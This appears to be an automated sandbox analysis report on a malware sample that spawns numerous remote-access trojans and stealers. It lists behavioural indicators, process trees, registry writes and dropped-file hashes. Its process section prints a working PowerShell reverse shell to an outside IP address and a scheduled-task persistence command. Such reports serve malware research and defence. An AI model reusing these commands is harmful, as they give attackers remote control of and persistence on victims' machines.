      • powershell.exe (PID: 10080)
      • nfe.sfx.exe (PID: 6004)
      • quasarat.exe (PID: 16264)
      • powershell.exe (PID: 13928)
      • justpoc.exe (PID: 20340)

    • Reads the machine GUID from the registry

      • JcQiZ5o.exe (PID: 7608)
      • VZXCHH66.exe (PID: 8000)
      • RegAsm.exe (PID: 9044)
      • XClient.exe (PID: 11788)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • TEST.exe (PID: 12632)
      • Nan_Brout_ncrypt.exe (PID: 12364)
      • svchost.exe (PID: 13912)
      • 1UCzP6D.exe (PID: 12612)
      • AsyncClient.exe (PID: 10548)
      • imagelogger.exe (PID: 13524)
      • ddosziller.exe (PID: 10528)
      • onetap.exe (PID: 14952)
      • client.exe (PID: 15112)
      • Host.exe (PID: 15104)
      • Terminal_9235.exe (PID: 14456)
      • Krishna33.exe (PID: 14424)
      • System32.exe (PID: 12520)
      • boleto.exe (PID: 15368)
      • s.exe (PID: 16248)
      • Installer.exe (PID: 14288)
      • quasarat.exe (PID: 16264)
      • TestExe.exe (PID: 15412)
      • Network.exe (PID: 15376)
      • VB.NET%20CRYPTER%20V2.exe (PID: 16744)
      • discord.exe (PID: 13896)
      • aaa%20(3).exe (PID: 16312)
      • Neverlose%20Loader.exe (PID: 17500)
      • intro.avi.exe (PID: 12616)
      • Server1.exe (PID: 13864)
      • freffercerere.exe (PID: 17732)
      • Client-built.exe (PID: 10108)
      • new.exe (PID: 4192)
      • aaa%20(3).exe (PID: 13356)
      • Java32.exe (PID: 18404)
      • conhost.exe (PID: 17760)
      • rundll32.exe (PID: 14668)
      • Client-built.exe (PID: 18572)
      • SWID_reader.exe (PID: 19132)
      • server.exe (PID: 17200)
      • SteamDetector.exe (PID: 19372)
      • toolwin.exe (PID: 20320)

    • Process checks computer location settings

      • QpKuKKY.exe (PID: 9300)
      • av_downloader1.1.exe (PID: 13968)
      • random.exe (PID: 13888)
      • pornhub_downloader.exe (PID: 14644)
      • pornhub_downloader.exe (PID: 14936)
      • pornhub_downloader.exe (PID: 14972)
      • %D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe (PID: 12592)
      • 444.exe (PID: 14108)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • njrat.exe (PID: 14464)
      • Server.exe (PID: 14616)
      • SteamDetector.exe (PID: 16240)
      • suker.exe (PID: 15496)
      • new.exe (PID: 4192)
      • svchost.exe (PID: 13912)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • XClient.exe (PID: 11788)
      • NOTallowedtocrypt.exe (PID: 20028)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 10180)
      • mshta.exe (PID: 11752)
      • mshta.exe (PID: 11532)
      • mshta.exe (PID: 11716)
      • mshta.exe (PID: 13024)
      • mshta.exe (PID: 12588)
      • mshta.exe (PID: 13500)
      • mshta.exe (PID: 14440)
      • mshta.exe (PID: 14416)
      • mshta.exe (PID: 14944)
      • mshta.exe (PID: 18440)
      • mshta.exe (PID: 19364)

    • Reads Environment values

      • TEST.exe (PID: 12632)
      • client.exe (PID: 15112)
      • 1UCzP6D.exe (PID: 12612)
      • Network.exe (PID: 15376)
      • Neverlose%20Loader.exe (PID: 17500)
      • Java32.exe (PID: 18404)
      • imagelogger.exe (PID: 13524)
      • svchost.exe (PID: 13912)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • XClient.exe (PID: 11788)

    • Process checks whether UAC notifications are on

      • Nan_Brout_ncrypt.exe (PID: 12364)

    • Creates files in the program directory

      • Nan_Brout_ncrypt.exe (PID: 12364)

    • Launching a file from a Registry key

      • Nan_Brout_ncrypt.exe (PID: 12364)
      • webhook.exe (PID: 16332)
      • Bloxflip%20Predictor.exe (PID: 14232)
      • Axam.a.exe (PID: 13948)
      • conhost.exe (PID: 17760)
      • rundll32.exe (PID: 14668)
      • NOTallowedtocrypt.exe (PID: 20028)
      • server.exe (PID: 17200)
      • SteamDetector.exe (PID: 19372)
      • Axam.exe (PID: 19248)
      • quasarat.exe (PID: 16264)
      • Axam.exe (PID: 20064)
      • server.exe (PID: 1324)
      • Axam.exe (PID: 20072)
      • Axam.exe (PID: 20016)

    • Disables trace logs

      • TEST.exe (PID: 12632)
      • client.exe (PID: 15112)
      • powershell.exe (PID: 10208)
      • imagelogger.exe (PID: 13524)
      • svchost.exe (PID: 13912)
      • NJRAT%20DANGEROUS.exe (PID: 9796)
      • XClient.exe (PID: 11788)
      • powershell.exe (PID: 10080)
      • quasarat.exe (PID: 16264)
      • powershell.exe (PID: 13928)

    • The sample compiled with korean language support

      • main.exe (PID: 2780)

    • Launching a file from the Startup directory

      • Bloxflip%20Predictor.exe (PID: 14232)
      • Axam.a.exe (PID: 13948)
      • conhost.exe (PID: 17760)
      • imagelogger.exe (PID: 13524)
      • SteamDetector.exe (PID: 19372)
      • server.exe (PID: 1324)

    • PyInstaller has been detected (YARA)

      • main.exe (PID: 3924)

    • Compiled with Borland Delphi (YARA)

      • conhost.exe (PID: 1164)

    • Reads the software policy settings

      • TEST.exe (PID: 12632)
      • client.exe (PID: 15112)

    • The sample compiled with russian language support

      • main.exe (PID: 2780)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 13036)

    • The sample compiled with polish language support

      • main.exe (PID: 2780)

    • Drops a (possible) Coronavirus decoy

      • main.exe (PID: 2780)

    • The sample compiled with chinese language support

      • main.exe (PID: 2780)

    • The executable file from the user directory is run by the Powershell process

      • Axam.exe (PID: 20232)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 13928)
      • powershell.exe (PID: 16104)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (87.3)
.exe | Generic Win/DOS Executable (6.3)
.exe | DOS Executable Generic (6.3)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2025:06:19 18:59:12+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 14.43
CodeSize: 178688
InitializedDataSize: 154624
UninitializedDataSize: -
EntryPoint: 0xc380
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows command line
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
417
Monitored processes
290
Malicious processes
56
Suspicious processes
21

Behavior graph

Click at the process to see the details
start main.exe conhost.exe no specs #METERPRETER main.exe cmd.exe schtasks.exe no specs cmd.exe no specs taskmgr.exe no specs #PHISHING svchost.exe jcqiz5o.exe no specs vzxchh66.exe no specs #XWORM regasm.exe qpkukky.exe cmd.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe mshta.exe no specs powershell.exe conhost.exe no specs njrat%20dangerous.exe cmd.exe no specs powershell.exe no specs #AMADEY nudwee.exe powershell.exe conhost.exe no specs conhost.exe no specs conhost.exe no specs #ASYNCRAT ddosziller.exe no specs #ASYNCRAT asyncclient.exe no specs tmp.exe elf.exe shell.exe dumpaaduserprt.exe no specs conhost.exe no specs mshta.exe no specs powershell.exe no specs conhost.exe no specs mshta.exe no specs mshta.exe no specs sys.exe xclient.exe #REMCOS evetbeta.exe #NANOCORE nan_brout_ncrypt.exe test.exe volatus0.5.exe no specs sup.exe uac_bypass.exe no specs #STEALC vtoroy.exe no specs conhost.exe no specs doppelganger.exe no specs mshta.exe no specs %d0%a4%d0%be%d1%80%d0%bc%d0%b0%203%d0%9e%d0%a8%d0%91%d0%a0.exe #PURELOGS 1uczp6d.exe #XWORM system32.exe pclient.exe no specs mimilove.exe no specs kg.exe no specs mshta.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs conhost.exe no specs conhost.exe no specs powershell.exe cmd.exe no specs kdmapper_release.exe no specs world%20of%20tanks.exe vikings.exe no specs mshta.exe no specs keygen.exe no specs powershell.exe no specs #ASYNCRAT imagelogger.exe conhost.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs random.exe script.exe no specs #NJRAT fast%20download.exe no specs svchost.exe exporttabletester.exe no specs powershell.exe no specs av_downloader.exe no specs #STEALC perviy.exe no specs av_downloader1.1.exe no specs 444.exe no specs 444.exe #NJRAT bloxflip%20predictor.exe no specs conhost.exe no specs conhost.exe no specs #NJRAT bloxflip%20predictor.exe searchuii.exe no specs award.pdf.exe powershell.exe no specs conhost.exe no specs #NJRAT server1.exe plantrojan.exe cmd.exe no specs pst.exe no specs powershell.exe no specs worldoffice.exe lab01-02.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs mshta.exe no specs #ASYNCRAT krishna33.exe no specs powershell.exe no specs mshta.exe no specs cmd.exe no specs terminal_9235.exe no specs #NJRAT njrat.exe #STEALC tretiy.exe no specs njrat.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs #NJRAT server.exe njrat.exe no specs server.exe no specs pornhub_downloader.exe no specs conhost.exe no specs powershell.exe no specs cmd.exe no specs conhost.exe no specs worldofficee.exe pornhub_downloader.exe no specs mshta.exe no specs onetap.exe no specs process-injection.exe no specs pornhub_downloader.exe no specs self-injection.exe no specs winbox.exe no specs conhost.exe no specs #REMCOS host.exe client.exe winbox.exe no specs conhost.exe no specs conhost.exe no specs cmd.exe no specs connector1.exe #AMADEY suker.exe powershell.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs donut.exe no specs #RAT steamdetector.exe s.exe no specs netsh.exe no specs #QUASAR quasarat.exe hack.exe no specs #REMCOS prueba.exe no specs https.exe ipscan.exe no specs donut.exe no specs #ASYNCRAT aaa%20(3).exe no specs anap.a.exe no specs webhook.exe nfe.sfx.exe no specs powershell.exe no specs powershell.exe no specs zeropersca.exe no specs powershell.exe no specs installer.exe no specs conhost.exe no specs lollo2.exe backdoor.exe no specs powershell.exe no specs boleto.exe no specs network.exe no specs conhost.exe no specs conhost.exe no specs 1223.exe testexe.exe no specs axam.a.exe crazycoach.exe no specs pcclear_eng_mini.exe conhost.exe no specs cmd.exe no specs discord.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs conhost.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs withefile.exe no specs conhost.exe no specs te.exe conhost.exe no specs conhost.exe no specs your_app.exe no specs vb.net%20crypter%20v2.exe no specs openwith.exe no specs cmd.exe no specs #NJRAT server.exe mspaint.exe no specs neverlose%20loader.exe no specs conhost.exe no specs mimikatz.exe no specs conhost.exe no specs conhost.exe no specs #NJRAT bloxflip predictor.exe no specs attrib.exe no specs #ASYNCRAT freffercerere.exe #NJRAT conhost.exe conhost.exe no specs powershell.exe no specs conhost.exe no specs intro.avi.exe no specs cmd.exe no specs #ASYNCRAT aaa%20(3).exe no specs powershell.exe no specs #NJRAT server.exe conhost.exe no specs nfe.sfx.exe no specs #NJRAT rundll32.exe powershell.exe no specs werfault.exe no specs client-built.exe no specs conhost.exe no specs new.exe #QUASARRAT java32.exe conhost.exe no specs netsh.exe no specs powershell.exe no specs conhost.exe no specs mshta.exe no specs netsh.exe no specs conhost.exe no specs swid_reader.exe no specs powershell.exe no specs mshta.exe no specs net.exe no specs srtware.exe no specs schtasks.exe no specs conhost.exe no specs client-built.exe no specs conhost.exe no specs #NJRAT steamdetector.exe cmd.exe no specs net1.exe no specs powershell.exe no specs netsh.exe no specs axam.exe conhost.exe no specs netsh.exe no specs conhost.exe no specs axam.exe #REMCOS notallowedtocrypt.exe axam.exe axam.exe cmd.exe no specs powershell.exe no specs justpoc.exe no specs conhost.exe no specs conhost.exe no specs cmd.exe no specs axam.exe no specs powershell.exe no specs powershell.exe no specs conhost.exe no specs netsh.exe no specs toolwin.exe no specs slui.exe no specs netsh.exe no specs conhost.exe no specs conhost.exe no specs netsh.exe no specs conhost.exe no specs axam.exe no specs schtasks.exe no specs conhost.exe no specs csc.exe no specs steamerx.exe no specs main.exe no specs explorer.exe

Process information

PID
CMD
Path
Indicators
Parent process
188\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—netsh.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1164\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—main.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1324"C:\Users\admin\server.exe" C:\Users\admin\server.exe
Server.exe
User:
admin
Integrity Level:
HIGH
Modules
Images
c:\users\admin\server.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
1632pst.exeC:\Users\admin\AppData\Local\Temp\a\pst.exe—main.exe
User:
admin
Company:
Oleg N. Scherbakov
Integrity Level:
HIGH
Description:
7z Setup SFX (x86)
Version:
1.7.0.3873
Modules
Images
c:\users\admin\appdata\local\temp\a\pst.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\shell32.dll
2072C:\WINDOWS\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\admin\AppData\Local\Temp\main.exe\" /SC ONLOGON /RL HIGHEST /F"C:\Windows\System32\cmd.exe
main.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
2200C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2704"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Command " = New-Object System.Net.Sockets.TCPClient('37.97.253.201',4432); = .GetStream(); [byte[]] = 0..65535|%{0}; while(( = .Read(, 0, .Length)) -ne 0){; = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(,0, ); = (iex 2>&1 | Out-String ); = + 'PS ' + (pwd).Path + '> '; = ([text.encoding]::ASCII).GetBytes(); .Write(,0,.Length); .Flush()}; .Close()"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2780"C:\Users\admin\AppData\Local\Temp\main.exe" C:\Users\admin\AppData\Local\Temp\main.exe
main.exe
User:
admin
Integrity Level:
HIGH
Modules
Images
c:\users\admin\appdata\local\temp\main.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
3288cmd.exe /C start c:\Windows\System32\Taskmgr.exeC:\Windows\System32\cmd.exe—main.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
3720"C:\Users\admin\AppData\Local\Temp\main.exe" C:\Users\admin\AppData\Local\Temp\main.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221226540
Modules
Images
c:\users\admin\appdata\local\temp\main.exe
c:\windows\system32\ntdll.dll
Total events
165 852
Read events
165 544
Write events
299
Delete events
9

Modification events

(PID) Process:(4772) explorer.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\ApplicationViewManagement\W32:00000000000702BE
Operation:writeName:VirtualDesktop
Value:
10000000303044563096AFED4A643448A750FA41CFC7F708
(PID) Process:(4772) explorer.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\ApplicationViewManagement\W32:0000000000060374
Operation:writeName:VirtualDesktop
Value:
10000000303044563096AFED4A643448A750FA41CFC7F708
(PID) Process:(6240) Taskmgr.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\TaskManager
Operation:delete valueName:Preferences
Value:
(PID) Process:(6240) Taskmgr.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\TaskManager
Operation:writeName:Preferences
Value:
0D00000060000000600000006800000068000000E3010000DC010000000001000000008000000080D8010080DF010080000100016B00000034000000130300008C020000E80300000000000000000000000000000F000000010000000000000058AAEE82F77F00000000000000000000000000002E0100001E0000008990000000000000FF00000001015002000000000D0000000000000098AAEE82F77F00000000000000000000FFFFFFFF960000001E0000008B900000010000000000000000101001000000000300000000000000B0AAEE82F77F00000000000000000000FFFFFFFF780000001E0000008C900000020000000000000001021200000000000400000000000000C8AAEE82F77F00000000000000000000FFFFFFFF960000001E0000008D900000030000000000000000011001000000000200000000000000E8AAEE82F77F00000000000000000000FFFFFFFF320000001E0000008A90000004000000000000000008200100000000050000000000000000ABEE82F77F00000000000000000000FFFFFFFFC80000001E0000008E90000005000000000000000001100100000000060000000000000028ABEE82F77F00000000000000000000FFFFFFFF040100001E0000008F90000006000000000000000001100100000000070000000000000050ABEE82F77F00000000000000000000FFFFFFFF49000000490000009090000007000000000000000004250000000000080000000000000080AAEE82F77F00000000000000000000FFFFFFFF49000000490000009190000008000000000000000004250000000000090000000000000070ABEE82F77F00000000000000000000FFFFFFFF490000004900000092900000090000000000000000042508000000000A0000000000000088ABEE82F77F00000000000000000000FFFFFFFF4900000049000000939000000A0000000000000000042508000000000B00000000000000A8ABEE82F77F00000000000000000000FFFFFFFF490000004900000039A000000B0000000000000000042509000000001C00000000000000C8ABEE82F77F00000000000000000000FFFFFFFFC8000000490000003AA000000C0000000000000000011009000000001D00000000000000F0ABEE82F77F00000000000000000000FFFFFFFF64000000490000004CA000000D0000000000000000021508000000001E0000000000000010ACEE82F77F00000000000000000000FFFFFFFF64000000490000004DA000000E000000000000000002150800000000030000000A000000010000000000000058AAEE82F77F0000000000000000000000000000D70000001E0000008990000000000000FF00000001015002000000000400000000000000C8AAEE82F77F0000000000000000000001000000960000001E0000008D900000010000000000000001011000000000000300000000000000B0AAEE82F77F00000000000000000000FFFFFFFF640000001E0000008C900000020000000000000000021000000000000C0000000000000040ACEE82F77F0000000000000000000003000000640000001E00000094900000030000000000000001021000000000000D0000000000000068ACEE82F77F00000000000000000000FFFFFFFF640000001E00000095900000040000000000000000011001000000000E0000000000000090ACEE82F77F0000000000000000000005000000320000001E00000096900000050000000000000001042001000000000F00000000000000B8ACEE82F77F0000000000000000000006000000320000001E00000097900000060000000000000001042001000000001000000000000000D8ACEE82F77F0000000000000000000007000000460000001E00000098900000070000000000000001011001000000001100000000000000F8ACEE82F77F00000000000000000000FFFFFFFF640000001E0000009990000008000000000000000001100100000000060000000000000028ABEE82F77F0000000000000000000009000000040100001E0000008F9000000900000000000000010110010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000B000000010000000000000058AAEE82F77F0000000000000000000000000000D70000001E0000009E90000000000000FF0000000101500200000000120000000000000020ADEE82F77F00000000000000000000FFFFFFFF2D0000001E0000009B90000001000000000000000004200100000000140000000000000040ADEE82F77F00000000000000000000FFFFFFFF640000001E0000009D90000002000000000000000001100100000000130000000000000068ADEE82F77F00000000000000000000FFFFFFFF640000001E0000009C900000030000000000000000011001000000000300000000000000B0AAEE82F77F00000000000000000000FFFFFFFF640000001E0000008C90000004000000000000000102100000000000070000000000000050ABEE82F77F000000000000000000000500000049000000490000009090000005000000000000000104210000000000080000000000000080AAEE82F77F000000000000000000000600000049000000490000009190000006000000000000000104210000000000090000000000000070ABEE82F77F0000000000000000000007000000490000004900000092900000070000000000000001042108000000000A0000000000000088ABEE82F77F0000000000000000000008000000490000004900000093900000080000000000000001042108000000000B00000000000000A8ABEE82F77F0000000000000000000009000000490000004900000039A00000090000000000000001042109000000001C00000000000000C8ABEE82F77F000000000000000000000A00000064000000490000003AA000000A00000000000000000110090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000008000000010000000000000058AAEE82F77F0000000000000000000000000000C60000001E000000B090000000000000FF0000000101500200000000150000000000000088ADEE82F77F00000000000000000000FFFFFFFF6B0000001E000000B1900000010000000000000000042500000000001600000000000000B8ADEE82F77F00000000000000000000FFFFFFFF6B0000001E000000B2900000020000000000000000042500000000001800000000000000E0ADEE82F77F00000000000000000000FFFFFFFF6B0000001E000000B490000003000000000000000004250000000000170000000000000008AEEE82F77F00000000000000000000FFFFFFFF6B0000001E000000B390000004000000000000000004250000000000190000000000000040AEEE82F77F00000000000000000000FFFFFFFFA00000001E000000B5900000050000000000000000042001000000001A0000000000000070AEEE82F77F00000000000000000000FFFFFFFF7D0000001E000000B6900000060000000000000000042001000000001B00000000000000A0AEEE82F77F00000000000000000000FFFFFFFF7D0000001E000000B790000007000000000000000004200100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000DA00000000000000000000000000000000000000000000009D200000200000009100000064000000320000006400000050000000320000003200000028000000500000003C0000005000000050000000320000005000000050000000500000005000000050000000500000002800000050000000230000002300000023000000230000005000000050000000500000003200000032000000320000007800000078000000500000003C00000050000000500000009700000032000000780000003200000050000000500000005000000050000000000000000100000002000000030000000400000005000000060000000700000008000000090000000A0000000B0000000C0000000D0000000E0000000F000000100000001100000012000000130000001400000015000000160000001700000018000000190000001A0000001B0000001C0000001D0000001E0000001F000000200000002100000022000000230000002400000025000000260000002700000028000000290000002A0000002B0000002C00000000000000000000001F00000000000000B400000032000000D8000000640000006400000000000000000000000000000000000000000000000000000000000000000000000000000000000000DA000000000000000000000000000000000000009D200000200000009100000064000000320000009700000050000000320000003200000028000000500000003C000000500000005000000032000000500000005000000050000000500000005000000050000000500000002800000050000000230000002300000023000000230000005000000050000000500000003200000032000000320000007800000078000000500000003C0000005000000064000000780000003200000078000000780000003200000050000000500000005000000050000000C8000000000000000100000002000000030000000400000005000000060000000700000008000000090000000A0000000B0000000C0000000D0000000E0000000F000000100000001100000012000000130000001400000015000000160000001700000018000000190000001A0000001B0000001C0000001D0000001E0000001F000000200000002100000022000000230000002400000025000000260000002700000028000000290000002A0000002B0000002C0000002D0000002E0000002F00000000000000000000001F00000000000000B400000032000000D8000000640000006400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000002000000030000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000
(PID) Process:(4772) explorer.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\ApplicationViewManagement\W32:0000000000010402
Operation:writeName:VirtualDesktop
Value:
10000000303044563096AFED4A643448A750FA41CFC7F708
(PID) Process:(4772) explorer.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\ApplicationViewManagement\W32:0000000000020474
Operation:writeName:VirtualDesktop
Value:
10000000303044563096AFED4A643448A750FA41CFC7F708
(PID) Process:(12092) evetbeta.exeKey:HKEY_CURRENT_USER\SOFTWARE\remcos_yxflxtczmk
Operation:writeName:EXEpath
Value:
®cMͦ*‰oòûÚ+Ãm.}Ì,ZZ}j"¡îooõ§‰¸è2¬J¨íÌ}
(PID) Process:(4772) explorer.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\ApplicationViewManagement\W32:000000000002046A
Operation:writeName:VirtualDesktop
Value:
10000000303044563096AFED4A643448A750FA41CFC7F708
(PID) Process:(4772) explorer.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\ApplicationViewManagement\W32:0000000000070236
Operation:writeName:VirtualDesktop
Value:
10000000303044563096AFED4A643448A750FA41CFC7F708
(PID) Process:(10284) nudwee.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
Executable files
361
Suspicious files
22
Text files
134
Unknown types
2

Dropped files

PID
Process
Filename
Type
3924main.exeC:\Users\admin\AppData\Local\Temp\_MEI39242\_ctypes.pydexecutable
MD5:29873384E13B0A78EE9857604161514B
SHA256:3CC8500A958CC125809B0467930EBCCE88A09DCC0CEDD7A45FACF3E332F7DB33
4772explorer.exeC:\Users\admin\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.datbinary
MD5:E49C56350AEDF784BFE00E444B879672
SHA256:A8BD235303668981563DFB5AAE338CB802817C4060E2C199B7C84901D57B7E1E
3924main.exeC:\Users\admin\AppData\Local\Temp\_MEI39242\VCRUNTIME140.dllexecutable
MD5:32DA96115C9D783A0769312C0482A62D
SHA256:8B10C53241726B0ACC9F513157E67FCB01C166FEC69E5E38CA6AADA8F9A3619F
3924main.exeC:\Users\admin\AppData\Local\Temp\_MEI39242\_asyncio.pydexecutable
MD5:56F958EEBBC62305B4BF690D61C78E28
